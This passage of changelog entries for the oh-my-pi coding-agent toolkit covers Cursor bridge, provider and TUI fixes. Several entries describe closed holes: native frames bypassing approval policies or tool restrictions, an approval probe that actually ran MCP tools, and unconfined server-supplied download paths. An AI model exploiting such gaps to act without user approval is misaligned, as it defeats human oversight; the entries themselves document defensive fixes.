<li>Added interactive Exa API-key login through <code>/login exa</code>, opening the official API-key dashboard and saving pasted keys to the credential store (<a href="https://github.com/can1357/oh-my-pi/issues/1798" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1798/hovercard">#1798</a>).</li>
<li>Cursor's modern exec wire protocol is now handled end to end. <code>agent.proto</code> models the frames current Cursor CLI builds emit — the seven Pi tools (<code>ExecServerMessage</code> 45-51), hooks, subagents, allowlist prechecks, MCP state, smart-mode classification, canvas diagnostics, conversation search, agent-store conflicts and git diff — and every one of them gets a typed answer. The Pi frames run their local equivalents (<code>read</code>/<code>bash</code>/<code>edit</code>/<code>write</code>/<code>grep</code>/<code>glob</code>); the rest answer with the error, not-found or empty-but-valid variant that is actually true of this client. Frames this build cannot name at all now raise <code>ExecClientControlMessage.throw</code> with <code>unknown_exec_variant</code>, and recognised frames with no truthful answer (<code>git_diff_request</code>, whose <code>GetDiffResponse</code> has no error variant) raise <code>exec_variant_unsupported</code>, instead of a silent ack that leaves the server waiting.</li>
<li><code>lsp</code> is advertised in the MCP tool catalog again. It was filtered out as a Cursor-native tool, but the native <code>diagnostics</code> frame covers one of roughly ten LSP actions, so the other nine were unreachable.</li>
<li>Added <code>pinSessionOAuthAccount</code> support for backdating the sticky's last-use timestamp (<code>options.lastUsedAtMs</code>), so pins restored from persisted sessions keep the provider's warm-window semantics: resumes inside the prompt-cache TTL reuse the account, stale resumes still re-rank.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Codex turn metadata now reserves the codex-rs <code>code_mode_tool_names</code> key, preventing caller-supplied client metadata extras from colliding with the core-owned field.</li>
<li>Codex SSE requests to the official endpoint now use zstd-compressed bodies by default to match the official client, which can be disabled with PI_CODEX_ZSTD=0.</li>
<li>API-key validation now preserves provider HTTP status and retry headers, allowing authentication, rate-limit, and server failures to retain their original error classifications.</li>
<li>The Cursor Pi arg translation (<code>piReadPath</code>, <code>piJoinPath</code>, <code>piLsPath</code>, <code>piEscapeRegexLiteral</code>, <code>piLimit</code>) moved to <code>providers/cursor-pi-args</code>, re-exported from <code>providers/cursor/exec-modern</code> so existing imports are unaffected. The legacy pi shim shares these helpers and is compiled into the bundled virtual module registry, where a nested <code>providers/&lt;dir&gt;/&lt;mod&gt;</code> specifier is unresolvable under bunfs — and importing them from the exec module would drag the whole protobuf graph in for two string functions.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Novita login rejecting valid API keys belonging to Developer and Basic team members by validating against the chat completions endpoint instead of the billing balance endpoint.</li>
<li>Fixed Cursor resource_exhausted errors being incorrectly classified as QUOTA_EXHAUSTED (which caused 30-minute credential blocks), mapping them to MODEL_CAPACITY_EXHAUSTED with a shorter backoff instead.</li>
<li>Fixed a crash in Amazon Bedrock and Devin providers when Context.systemPrompt is passed as a bare string.</li>
<li>Fixed aborted usage-limit recovery incorrectly blocking credentials or waiting on local usage fetches after the session had already changed.</li>
<li>Fixed Codex WebSocket sessions echoing stale or missing turn states by capturing x-codex-turn-state refreshes from response metadata event headers.</li>
<li>Fixed Harmony-dialect models (e.g., gpt-5.x, openai-codex) failing with invalid_prompt or "Request blocked" errors by escaping reserved control tokens in untrusted user and tool-result text.</li>
<li>Fixed named forced tool_choice not being enforced on string-only OpenAI-compatible hosts (such as llama.cpp and LM Studio) by narrowing the advertised tools to the forced tool.</li>
<li>Fixed direct Anthropic Claude Opus requests failing with HTTP 400 when the endpoint rejects strict tool fields.</li>
<li>Fixed usage-based credential ranking for Anthropic accounts where a missing long-window (7-day) metric was incorrectly treated as a short-window metric.</li>
<li>Fixed legacy Codex usage blocks continuing to gate all models after per-meter backoff was introduced, splitting the old shared scope into independent chat and spark blocks while maintaining backward compatibility with older clients and database schemas.</li>
<li>Fixed Anthropic retry loops ignoring <code>maxRetryDelayMs</code> for long server <code>retry-after</code> hints, so over-budget delays surface immediately without losing response details or abort cleanup (<a href="https://github.com/can1357/oh-my-pi/issues/7003" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/7003/hovercard">#7003</a>).</li>
<li>Added interactive xAI API-key login with key validation through the xAI models endpoint.</li>
<li>Fixed Google Gemini and Vertex tool declarations carrying numeric, boolean, object-valued, or mixed <code>enum</code> arrays that the Google Schema wire type cannot represent. Unsupported enums are omitted while valid string enums remain constrained.</li>
<li>Umans usage provider: fetches <code>GET /v1/usage</code> and surfaces the rolling 5h request window + concurrency limits in <code>/usage</code>, <code>omp usage</code>, and the TUI status bar.</li>
<li>Fixed ranged legacy Cursor reads reporting the returned window byte length as the full file size.</li>
<li>Updated the Cursor client build advertisement to activate the modern exec-frame protocol handled by this provider.</li>
<li>Fixed a windowed Cursor <code>read</code> reporting the window's line count as the file's. <code>total_lines</code> and <code>file_size</code> were derived from the payload, which is the whole file only for an unranged read — a 20-line page of a 100-line file answered <code>total_lines: 20</code>, which a paginating server reads as the end of the file. The count now comes from the read's own record of the file (<code>details.meta.truncation.totalLines</code>), falling back to counting the payload when the read returned the file whole.</li>
<li>Fixed a <code>pi_grep</code> that hit the native backend's internal match ceiling answering as an unqualified success. <code>GrepTool</code> folds that cap into the flat <code>details.truncated</code> alone, setting neither <code>details.truncation</code> nor <code>perFileLimitReached</code> — the two fields the Pi result was built from — so the one truncation a caller can neither detect nor page around was the one it was never told about. The flat flag is now translated into a <code>PiTruncation</code>, and only when no specific cap already reported itself.</li>
<li>Fixed a <code>pi_grep</code> frame's <code>context</code> and <code>limit</code> vanishing from the transcript. The bridge honors both by building a scoped <code>grep</code>, but neither is expressible in the model-facing schema, so the synthesized block recorded a plain pattern/path search — replaying a context-widened or capped search as an ordinary grep sitting beside output no ordinary grep produces. Both are now recorded on the block.</li>
<li>Fixed a Cursor MCP resource listing shrinking to a count in the transcript. The full URI/name/mime catalog goes out on the wire, but the paired local result recorded <code>Listed N MCP resource(s)</code> — and rebuilt history is serialized from that result, so one reload later the model knew it had seen N resources and could name none of them. The paired result now lists what the answer carried.</li>
<li>Fixed the <code>pi_read</code> range translation padding the slice it asks for. <code>piReadPath</code> composed a plain <code>:N+K</code> selector, which the local <code>read</code> tool expands by one leading and three trailing context line — so a frame naming offset 5/limit 20 received lines 4-27. Ranged Pi reads now compose <code>:raw:N+K</code>; the wire result is an opaque output string, so the line-number gutter <code>raw</code> also drops carries nothing the contract needs.</li>
<li>Fixed four Cursor exec frames answering with a result whose oneof was never set. In proto3 that is not an empty result — the server reads it as "the tool ran and produced nothing", indistinguishable from real success. <code>listMcpResourcesExecResult</code>, <code>readMcpResourceExecResult</code>, <code>recordScreenResult</code> and <code>computerUseResult</code> now send <code>ListMcpResourcesSuccess{resources: []}</code>, <code>ReadMcpResourceNotFound{uri}</code>, <code>RecordScreenFailure</code> and <code>ComputerUseError</code> respectively.</li>
<li>The MCP resource frames now answer from the host instead of a fixed verdict. <code>CursorExecHandlers</code> gained <code>listMcpResources</code>/<code>readMcpResource</code>, so a host holding live MCP connections advertises them; the empty catalog and <code>not_found</code> above remain the answer when no handler is supplied. A handler that throws surfaces as <code>ListMcpResourcesError</code>/<code>ReadMcpResourceError</code> rather than collapsing into "none exist", which the model cannot retry. A read carrying <code>download_path</code> forwards it and answers with <code>ReadMcpResourceSuccess.download_path</code> and no content, which is what that mode means.</li>
<li>Fixed Cursor <code>connect_scm</code> calls losing their repository and settling on a fabricated verdict. The target rides in the <code>ConnectScmArgs.target</code> oneof, so reading a flat <code>github</code> property always saw <code>undefined</code>; and the authoritative <code>success</code>/<code>error</code>/<code>rejected</code> result only arrives on the completion frame, so answering at the announcement persisted a fixed failure for every call — including the ones the server went on to accept. The block now opens on the start frame and settles from the completion's decoded result.</li>
<li>Fixed interleaved Cursor tool calls corrupting each other. The stream decoder tracked a single "current" block and settled it on any <code>toolCallCompleted</code>, ignoring the envelope's <code>call_id</code>: a completion for one call closed whichever block happened to be open and paired it with the wrong result, and <code>start A, start B</code> orphaned A entirely so its own completion settled B while A was never paired — which strips the whole interaction from every rebuilt transcript. Open blocks are now retained per envelope <code>call_id</code>, and end-of-stream closes all of them rather than only the last.</li>
<li>Fixed a Cursor <code>search_conversations</code> call leaving no transcript block. The frame is answered from a fixed verdict, so nothing downstream pairs a result for it, and an unpaired call takes its whole interaction out of every rebuilt transcript.</li>
<li>Fixed a Cursor <code>read_mcp_resource</code> call leaving no transcript block. The frame runs locally — and in download mode writes a workspace file — but synthesized no tool call and paired no result, so the read was invisible in the UI and absent from every rebuilt history; a resource download could mutate the workspace with nothing on record. The frame now synthesizes a <code>read_mcp_resource</code> block (not <code>read</code>: it is a remote MCP operation, and the name drives rendering and prune semantics) and pairs a result on success, not-found and error alike. Frames answered without a handler still synthesize nothing, since nothing ran.</li>
<li>Fixed a Cursor <code>list_mcp_resources</code> call leaving no transcript block. The model consumed the catalog, but the frame synthesized no tool call and paired no result — its streamed <code>ListMcpResourcesToolCall</code> announcement was equally unrecognized — so the listing was invisible in the UI and absent from every rebuilt history. Frames a handler answered now synthesize a <code>list_mcp_resources</code> block and pair a result derived from the same answer that went on the wire; frames answered from the fixed no-handler catalog still synthesize nothing, since nothing ran.</li>
<li>Fixed an unavailable <code>pi_edit</code>/<code>pi_write</code> answering with the error variant. Both results model refusal and failure as separate oneof cases, and a denial reported as <code>error</code> reads as "the tool ran and broke" — inviting a retry of an operation that was never permitted. A frame whose tool is not granted, or whose handler produced nothing, now answers with <code>PiEditExecRejected</code>/<code>PiWriteExecRejected</code>; execution failures keep the error variant.</li>
<li>Fixed a Cursor MCP approval probe actually running the tool. A modern <code>mcpArgs</code> frame carrying <code>smart_mode_approval_only</code> asks only whether a call would be permitted, not for the call itself. The decoder dropped the flag, so the frame ran a side-effecting MCP tool the user had not been asked about, then ran it again when the real call followed. The flag is now carried through and the probe is answered from the host's policy without executing: approved only for a definite allow, refused for a deny, for a mode that demands a prompt the frame cannot raise, and for a tool the session does not have. No transcript block is synthesized either, since nothing ran.</li>
<li>Fixed the Cursor stream's end-of-transport cleanup erasing the arguments of every block still open. Blocks whose args arrive whole (todo, connect-SCM, MCP) never feed the streamed partial-JSON buffer, and reparsing an absent buffer yields <code>{}</code>, so a truncated or disconnected turn rebuilt those calls with no arguments at all. Only blocks that actually streamed their args are reparsed now.</li>
<li>Fixed a Cursor stream dying mid-turn stranding the call it left open. <code>connect_scm</code> and native todo blocks are stamped resolved the moment they open, so the agent loop synthesizes no placeholder and only their completion frame pairs a result — a transport that closed first left the card animating and the call unpaired, which takes the whole interaction out of every rebuilt transcript. The terminal-error path now closes open blocks and pairs those server-owned calls with an interrupted result; the flush ran only on clean completion before, which is not the path a dying stream takes. Exec-settled MCP blocks are left alone, since the dispatch that ran them owns their result.</li>
<li>Fixed the Pi exec frames displaying a different operation than the one they run. The provider synthesized its transcript block from a second, hand-rolled translation of the frame args, so <code>pi_read</code>'s <code>offset</code>/<code>limit</code> were shown as a whole-file read, <code>pi_grep</code>'s <code>literal</code> pattern as an unescaped regex, and <code>pi_find</code>'s path/glob join differed from the executed one. Both sides now share a single translation.</li>
<li>Fixed the streamed <code>pi_*_tool_call</code> announcements that modern builds send alongside each exec frame being unrecognized. The exec channel already synthesizes those blocks when it runs the tool; the duplicate was avoided only because the decoder recognized none of the variants, which would have started double-rendering as soon as any one was added.</li>
<li>Fixed <code>pi_bash</code> results reaching Cursor clipped with no truncation notice. Two truncation records exist locally: <code>read</code>/<code>grep</code> set <code>details.truncation</code>, which carries an explicit <code>truncated</code> flag, while <code>bash</code> sets <code>details.meta.truncation</code>, whose record has no such flag — its presence is the signal. <code>piTruncation</code> read only the first shape and required the flag, so every real Bash truncation was dropped and the server was told the clipped output was complete. Both shapes now translate, and an explicit <code>truncated: false</code> still suppresses the field.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Regenerated the Cursor agent protobufs (<code>discovery/cursor-gen/agent_pb.ts</code>) against the modern <code>agent.proto</code>, adding the message and enum families current Cursor CLI builds emit: Pi tool exec frames, hook queries and responses, subagents, allowlist prechecks, MCP state, smart-mode classification, canvas diagnostics, conversation search, agent-store conflicts and git diff. Purely additive — no existing exported symbol changed shape.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where LM Studio first turns failed with a 400 Invalid tool_choice error when a named tool was forced, by using the supported tool_choice: "required" string selector.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the <code>DEL</code>, <code>DEL.BLK</code>, <code>COPY</code>, and <code>COPY.BLK</code> hashline edit operations. Use <code>CUT</code> / <code>CUT.BLK</code> for deletion; removed content remains available to <code>PASTE</code>.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added server-name autocomplete for <code>/mcp</code> commands (<code>enable</code>, <code>disable</code>, <code>test</code>, <code>remove</code>, <code>reconnect</code>, <code>reauth</code>, <code>unauth</code>) using configured and runtime-discovered MCP servers.</li>
<li>Added <code>CUT</code> and <code>PASTE</code> ops to the hashline edit tool for moving code without retyping it: <code>CUT N.=M</code> (and <code>.BLK</code> block forms) capture lines into a clipboard register, and <code>PASTE</code> operations insert them. The register flows across sections within a patch (cross-file moves) and persists across edit calls per session.</li>
<li>Added <code>--from-claude</code> and <code>--from-codex</code> session imports (including compaction state for Codex), also available from <code>/resume @claude</code> and <code>/resume @codex</code>.</li>
<li>Added interactive Exa API-key onboarding through <code>/login exa</code>, opening the official key dashboard and saving pasted keys for authenticated web search while preserving <code>EXA_API_KEY</code> and explicit-selection public MCP fallback behavior (<a href="https://github.com/can1357/oh-my-pi/issues/1798" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1798/hovercard">#1798</a>).</li>
<li>Added <code>ExtensionContext.getAsyncJobSnapshot()</code> so extensions can read the owning session's async-job state without relying on process-global job-manager identity</li>
<li>Added opt-in <code>tui.codexResetFireworks</code> celebrations for unscheduled Codex weekly usage resets and newly banked saved resets, shown in a theme-aware top-third modal until Escape (<a href="https://github.com/can1357/oh-my-pi/pull/6858" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6858/hovercard">#6858</a> by <a href="https://github.com/joshrzemien">@joshrzemien</a>).</li>
<li>The Cursor exec bridge serves the seven modern Pi tool frames, mapping each to its local equivalent: <code>pi_read</code>/<code>pi_ls</code> → <code>read</code>, <code>pi_bash</code> → <code>bash</code>, <code>pi_edit</code> → <code>edit</code>, <code>pi_write</code> → <code>write</code>, <code>pi_grep</code> → <code>grep</code>, and <code>pi_find</code> → <code>glob</code>. The frames are a separate wire family from the legacy args, not aliases, so each mapping is a real translation — <code>pi_grep</code>'s <code>ignore_case</code> is the inverse of the local tool's case-sensitivity flag, <code>pi_find</code> searches filenames rather than contents, and <code>pi_edit</code>'s replacements are renamed to the local snake_case pairs.</li>
<li><code>providers.autoThinkingMaxEffort</code> (<code>xhigh</code> | <code>max</code>, default <code>xhigh</code>) raises the ceiling of the <code>auto</code> thinking classifier. <code>max</code> became a first-class effort tier after the classifier prompt was written, so <code>auto</code> could never reach it on models that expose the tier — only the <code>ultrathink</code> keyword could. Opting in adds <code>max</code> to the classifier's vocabulary, gated on the target model actually supporting it; the default keeps today's prompt byte-for-byte. The ceiling is enforced inside the effort clamp rather than on the classifier's answer, so a sparse ladder cannot snap an excluded request back up, and the Low floor is still resolved against the model's own ladder. The on-device 3-bucket classifier stays capped at <code>xhigh</code> regardless of the setting. The ceiling governs what <code>auto</code> resolves: a ladder with nothing underneath it yields no auto level, and a <code>thinking.requiresEffort</code> model still gets its lowest supported effort from the transport.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Improved grouped read-call layout by nesting each request's usage metrics beneath its final path.</li>
<li>Improved turn recovery to prevent duplicate output streaming during credential rotation or model fallback when visible text has already been streamed.</li>
<li>Optimized tool guidance for bash, grep, and glob to be more concise while clarifying shell boundaries and search timeouts.</li>
<li>Optimized models configuration resource probing to run in a single child process, reducing startup contention.</li>
<li>Startup release notes now default to a compact change-count summary. Use <code>startup.changelogMode</code> (<code>summary</code> | <code>expanded</code> | <code>hidden</code>) to control them; legacy <code>collapseChangelog</code> choices migrate automatically (<a href="https://github.com/can1357/oh-my-pi/issues/6771" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/6771/hovercard">#6771</a>).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Anthropic prompt-cache cold misses on session resume with multiple OAuth accounts: the account that served a session is now recorded in the session file (as a <code>credential_pin</code> sha-256 of the account + org/project scope, so exports carry no plaintext identity) and re-pinned on resume with the session's effective last-use time, so a fresh process no longer re-ranks accounts by usage headroom — which systematically routed away from the just-used account and cold-missed the entire account-scoped cache prefix. Sticky routing was previously stored only in the auth store's KV cache, which is in-memory when a remote auth broker is configured.</li>
<li>Fixed Anthropic prompt-cache cold misses on session resume with multiple OAuth accounts: the account that served a session is now recorded in the session file (as a PII-free <code>credential_pin</code> hash) and re-pinned on resume, so a fresh process no longer re-ranks accounts by usage headroom — which systematically routed away from the just-used account and cold-missed the entire account-scoped cache prefix. Sticky routing was previously stored only in the auth store's KV cache, which is in-memory when a remote auth broker is configured.</li>
<li>Fixed concurrent <code>createAgentSession</code> calls with the default agent id failing initialization with <code>Agent "Main" was replaced during session initialization</code> — each in-process embedder (e.g. the edit benchmark runner) can now pass a private registry via the newly exported <code>AgentRegistry</code>, keeping every top-level session's "Main" out of the process-global roster race.</li>
<li>Fixed task tool blocks duplicating their per-agent progress rows into terminal scrollback on every update: live task frames now pin the transcript live region so mid-run rows are never recorded as frozen snapshots, and a detached background task freezes its progress the moment any of its rows commit to scrollback instead of mutating committed history.</li>
<li>Fixed Codex reset fireworks comparing different quota tiers or plans, preventing false celebrations when usage reports switch between Spark and base weekly limits.</li>
<li>Fixed Cursor ranged-read results losing the full file byte size after applying the requested window.</li>
<li>Fixed empty Codex final-stop recovery discarding an earlier commentary message when both messages shared response metadata.</li>
<li>Fixed Advisor availability with providers that refuse echoed reasoning by retrying once with primary thinking stripped and surfacing persistent refusals immediately.</li>
<li>Fixed <code>/tan</code> agents being unable to read parent-session <code>local://</code> attachments by correctly resolving local protocol options against the parent session's artifacts.</li>
<li>Fixed Codex web search silently returning plain completions when the hosted web search tool was skipped.</li>
<li>Fixed TUI collaboration guest loader not starting when joining or reconnecting mid-turn.</li>
<li>Fixed multi-second TUI freezes in reftable-format repositories by moving branch resolution off the render path and adding a timeout to synchronous git spawns.</li>
<li>Fixed <code>xd://</code> device summaries containing control characters and exceeding size budgets by stripping control characters and bounding summaries by UTF-8 bytes.</li>
<li>Fixed <code>task.softRequestBudget</code> configuration having no effect on bundled scout and sonic subagents.</li>
<li>Fixed quick LSP server exits being misreported as reader failures and resolved an issue where explicit reloads were blocked by initialization backoff.</li>
<li>Forced Git subprocesses to use the stable <code>C</code> locale to ensure predictable, non-interactive command output.</li>
<li>Fixed compatibility replay issues for pre-upgrade launch brokers evaluating xterm inside the client process.</li>
<li>Fixed Advisor cost tracking in the status line across conversation boundaries, ensuring session transitions, forks, and resumes correctly restore or isolate conversation spend.</li>
<li>Fixed validation failures for legacy extensions importing from the package root, which previously blocked installations.</li>
<li>Fixed ACP clients (such as Zed), TUI status lines, and collaboration guests not updating when model changes occur dynamically within the agent loop.</li>
<li>Fixed assistant-facing resource summaries omitting parameterized MCP resource templates, ensuring failed reads list templates alongside concrete resources.</li>
<li>Fixed redundant <code>xd://</code> mount notices and prompt-cache invalidation when resuming sessions or reconnecting devices.</li>
<li>Fixed the model picker displaying placeholder model lists instead of the actual credential-aware catalog resolved at registration.</li>
<li>Fixed file corruption and snapshot mismatches when writing files through the ACP client bridge by verifying the final on-disk content after client-side post-save formatting.</li>
<li>Fixed <code>omp ttsr test</code> silently evaluating source files as prose when their extensions were missing from the allowlist, and expanded the allowlist to support .NET, Shell, SQL, Zig, Dart, Scala, Elixir, and Protobuf files.</li>
<li>Fixed automatic light/dark theme switching in direct WezTerm sessions on macOS when DEC Mode 2031 is unsupported, and improved theme-change color responsiveness.</li>
<li>Fixed configured <code>retry.maxDelayMs</code> not being forwarded into Anthropic retry handling, so over-budget server retry delays fail fast.</li>
<li>Added tokens-per-second throughput to RPC <code>get_state</code> responses for non-TUI clients.</li>
<li>Added the RPC <code>set_fast_mode</code> command and typed TypeScript/Python client methods for live fast-mode control.</li>
<li>Added <code>fastModeEnabled</code> and <code>fastModeActive</code> to RPC <code>get_state</code> responses.</li>
<li>Fixed RPC fast-mode state reporting after direct Anthropic rejects <code>speed: "fast"</code>, while allowing explicit re-enable requests to retry priority service.</li>
<li>Added opt-in subagent access to <code>checkpoint</code>, <code>rewind</code>, <code>learn</code>, and <code>manage_skill</code> when explicitly listed in an agent definition's <code>tools:</code> frontmatter. Listing one of <code>checkpoint</code>/<code>rewind</code> auto-includes the other. Settings (<code>checkpoint.enabled</code>, <code>autolearn.enabled</code>) remain master toggles.</li>
<li>Added a <code>browser.cdpUrl</code> setting that points browser automation at an already-running CDP endpoint by default, so <code>app.cdp_url</code> no longer has to be repeated on every call. Explicit <code>app</code> options still take precedence.</li>
<li>Native compaction preserves provider-native success and non-authentication failure semantics while retaining authenticated cross-provider fallback when the native provider rejects credentials.</li>
<li>Fixed the Cursor Pi exec bridge silently dropping frame arguments. <code>pi_read</code>'s <code>offset</code>/<code>limit</code> were ignored, so a ranged read returned the whole file; <code>pi_grep</code>'s <code>literal</code> was ignored, so a fixed-string search ran as a regex and matched the wrong lines; and the path/glob join produced a <code>./</code>-prefixed spec. Ranges are now composed onto <code>read</code>'s <code>:N+K</code> inline selector, literal patterns are escaped, and the join uses <code>node:path</code>. These are <code>optional int32</code> fields, so a present <code>0</code> is honored rather than folded into a default: <code>pi_read</code> with <code>limit: 0</code> answers with empty output instead of the entire file, and <code>pi_find</code> with <code>limit: 0</code> clamps to 1 the way the reference client does.</li>
<li><code>pi_grep</code>'s <code>context</code> and <code>limit</code> are honored. Neither is expressible in the model-facing <code>grep</code> schema — context width comes from <code>grep.contextBefore</code>/<code>grep.contextAfter</code> fixed at tool construction — so the bridge builds a per-call <code>grep</code> for frames that supply them. <code>GrepTool</code> accepts these as constructor options; the model-facing schema is unchanged, and a frame that supplies neither keeps the shared instance and the session's defaults.</li>
<li><code>pi_ls</code>'s <code>limit</code> is still not mapped, now deliberately: it caps directory <em>entries</em>, while the local <code>read</code> tool renders a depth-2 tree with per-directory caps and elision rows and applies a selector as a <em>rendered line</em> slice. Mapping it to <code>:1+K</code> would cap a different unit while appearing honored.</li>
<li>The legacy pi shim's regex-literal escaper and path/glob join were verbatim copies of the modern bridge's. Both paths now call the shared helpers, so the two Pi translations cannot drift.</li>
<li>Fixed every Cursor <code>pi_edit</code> frame failing instead of editing. Two independent causes: the session drops <code>edit</code> from the tool registry for Cursor so the model uses full-file <code>write</code>, but that registry is also the exec bridge's tool source, so the native frame — which the server sends regardless of the advertised catalog — found no tool; and the retained instance followed the session's configured edit mode, while <code>PiEditExecArgs</code> carries <code>old_text</code>/<code>new_text</code> pairs that only <code>replace</code> accepts (the default <code>hashline</code> takes a single <code>input</code> string). The bridge now resolves a <code>replace</code>-mode instance through its fallback resolver, still wrapped for approval.</li>
<li>Fixed a <code>pi_grep</code> frame carrying <code>context</code> or <code>limit</code> escaping the approval gate. Honoring those fields needs a per-call <code>grep</code>, and the per-call instance was built raw while every registry tool is wrapped, so such calls bypassed <code>tools.approval.grep</code> and the exec-tier check for SSH-targeted paths. Both bridge callsites now build it through one shared factory that applies the same wrapper.</li>
<li>Fixed Cursor advisors ignoring <code>pi_grep</code>'s <code>context</code> and <code>limit</code>. Only the primary session supplied the per-call <code>grep</code> factory, so advisor frames silently fell back to session defaults. Advisors now receive the same factory, gated on the advisor actually having been granted <code>grep</code>.</li>
<li>Fixed Cursor advisors failing every <code>pi_edit</code>. The advisor roster handed the bridge the <code>edit</code> instance built for the advisor's own loop, which follows the configured <code>edit.mode</code> (<code>hashline</code> by default) and rejects the frame's <code>old_text</code>/<code>new_text</code> pairs — the same mode mismatch the primary bridge already fixed, on the path it missed. The exec map now substitutes a <code>replace</code>-mode instance, gated on the advisor actually having been granted <code>edit</code>, while the advisor's own loop keeps the tool it was given.</li>
<li>Fixed <code>pi_bash</code> killing commands that explicitly asked for no deadline. <code>timeout</code> is <code>optional int32</code> and <code>bash</code> documents <code>0</code> as "disables the command deadline", but a truthiness check folded a supplied <code>0</code> into unset, applying the 300s default instead. A present <code>0</code> now passes through; negatives, which have no local meaning and would otherwise clamp to the 1s floor, still fall back to the default.</li>
<li>Fixed the Cursor exec bridge granting <code>edit</code> and <code>grep</code> to sessions that withheld them. Both bridge-only tools are constructed rather than looked up, and <code>executeTool</code> prefers a constructed override over the registry, so a restricted tool set (<code>toolNames</code> without them, or <code>restrictToolNames</code>) still got a working <code>pi_edit</code>/<code>pi_grep</code> — native frames arrive regardless of the advertised catalog. Both are now gated on the session having actually granted the tool, matching the <code>delete</code> frame's existing check (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4900597280" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/5680" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/5680/hovercard" href="https://github.com/can1357/oh-my-pi/issues/5680">#5680</a>).</li>
<li>Fixed Cursor advisor bridge tools bypassing approval settings. The advisor's <code>pi_edit</code>/<code>pi_grep</code> instances are approval-wrapped, but the wrapper reads <code>tools.approvalMode</code>, per-tool <code>tools.approval.&lt;tool&gt;</code> policies and <code>autoApprove</code> only from the execute-time tool context — which the advisor bridge never supplied, so every native advisor frame resolved as <code>yolo</code> with empty policies and ran past a configured <code>ask</code> or <code>deny</code>. Advisors now receive the same context store as the primary bridge.</li>
<li>Fixed Cursor's <code>list_mcp_resources</code>/<code>read_mcp_resource</code> frames answering as though the client hosted no MCP servers. The bridge hardcoded an empty catalog and <code>not_found</code>, so resources from servers the session held live connections to were invisible to the model even while the same session read them through <code>mcp://</code>. Both frames now answer from the session's <code>MCPManager</code> — awaiting a server's background resource discovery rather than reading the not-yet-populated cache and reporting "advertises nothing" — and a lookup failure surfaces as an error rather than an empty catalog, which would read as "asked, none exist". A read carrying <code>download_path</code> writes the resource to that path and answers with the path alone, per the wire contract, instead of putting the payload back in the model's context. That path arrives from the server while the general-purpose resolver deliberately honors absolute paths and <code>..</code>, so downloads are confined to the workspace: the resolved target and its deepest existing ancestor must stay inside it, and a target that is itself a symlink is refused. The write then opens <code>O_NOFOLLOW</code> and refuses a non-regular or hard-linked file before truncating, so the final component cannot be swapped for a link or an inode shared outside after the check. A parent directory replaced by a symlink mid-write is still followed; closing that needs <code>openat</code>/dirfd walking, which this does not attempt.</li>
<li>Fixed the Cursor native <code>delete</code> frame bypassing approval settings. Unlike every other frame it removes the file directly instead of running a registry tool, so no approval wrapper sat in front of it — the bridge's <code>allowDirectFileMutation</code> grant answers whether a mutating tool was granted, which is a different question from whether the user's policy allows the call. A configured <code>tools.approval.delete: deny</code>, or an <code>always-ask</code> session that this channel cannot prompt in, now refuses the frame and keeps the file.</li>
<li>Fixed Cursor download-mode resource reads bypassing the session's mutation restrictions. A <code>read_mcp_resource</code> frame carrying <code>download_path</code> creates and overwrites workspace files without running a registry tool — the same hole the native <code>delete</code> frame had — so a session that withheld <code>write</code>/<code>edit</code>, or one whose <code>write</code> tier is <code>deny</code>/<code>always-ask</code>, still had files written. Both frames now share one grant (<code>allowDirectFileMutation</code>, renamed from <code>allowNativeDelete</code> now that it gates more than deletion) and one <code>write</code>-tier policy check, and the download refuses before the read so a blocked call does not fetch the resource either. The primary session derives that grant before it rewrites its registry: Cursor moves <code>edit</code> out of the tool map and <code>write</code> may be auto-registered later, so reading the map at bridge-construction time would have misjudged both.</li>
<li>Fixed <code>pi_ls</code> never reporting that a listing was clipped. The bridge read the entry cap from a flat <code>details.resultLimitReached</code>, which <code>glob</code> sets but <code>read</code> — the tool serving <code>pi_ls</code> — does not: it records the cap through <code>OutputMeta</code> at <code>details.meta.limits.resultLimit.reached</code>. Every capped listing therefore reached Cursor with <code>entry_limit_reached</code> unset, reading as complete. Both shapes are now checked, the same way the truncation translation already handles its two producers.</li>
<li>Fixed a mixed-content MCP resource read reaching Cursor mislabelled. The mime type was taken from the first content item while the payload came from whichever item supplied it, so an image blob followed by a text note sent the text as <code>image/png</code>. Each branch now reports the type of the part it actually sends.</li>
<li>Fixed <code>pi_read</code>'s <code>offset</code>/<code>limit</code> returning more lines than the frame asked for. The range is composed onto the local <code>read</code> tool's inline selector, and a plain <code>:N+K</code> deliberately pads with one leading and three trailing context lines — helpful when a human reads a snippet, wrong for a caller that named an exact range: offset 5/limit 20 handed Cursor lines 4-27. Ranged Pi reads now compose <code>:raw:N+K</code>, which slices exactly the requested lines.</li>
<li>Fixed <code>pi_grep</code> returning fewer matches than it asked for when they spread across many files. The local <code>grep</code> windows results to the first 20 files and tells the caller to paginate with <code>skip</code>, but <code>PiGrepExecArgs</code> has no <code>skip</code> field — so a frame asking for 100 matches over 25 one-match files got 20, <code>match_limit_reached</code> unset, and advice it could not act on: output silently short and labelled complete. A search carrying a total match cap now reads enough files to satisfy it (cap+1, so a result landing exactly on the cap is distinguishable from a clipped one) and reports the cap when it actually bites.</li>
